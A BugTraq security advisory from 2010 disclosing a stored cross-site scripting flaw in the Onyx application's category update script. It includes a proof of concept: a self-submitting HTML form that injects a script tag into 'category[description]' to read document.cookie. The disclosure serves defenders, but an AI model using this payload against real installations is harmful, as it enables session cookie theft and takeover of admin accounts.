BugTraq
XSS vulnerability in Onyx Aug 13 2010 07:11AM
advisory htbridge ch
Vulnerability ID: HTB22537
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_onyx_1.html
Product: Onyx
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/onyx )
Vulnerable Version: 0.3.2 and Probably Prior Versions
Vendor Notification: 27 July 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the admin/categories/update script to properly sanitize user-supplied input in "category[description]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/categories/update/1" method="post" name="main" >

<input type="hidden" name="category[name]" value="General" />
<input type="hidden" name="category[description]" value='My Pictures"><script>alert(document.cookie)</script>' />
<input type="hidden" name="category[created_at(1i)]" value="2010" />
<input type="hidden" name="category[created_at(2i)]" value="7" />
<input type="hidden" name="category[created_at(3i)]" value="23" />
<input type="hidden" name="category[created_at(4i)]" value="04" />
<input type="hidden" name="category[created_at(5i)]" value="00" />
<input type="hidden" name="commit" value="Edit" />

</form>
<script>
document.main.submit();
</script>

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus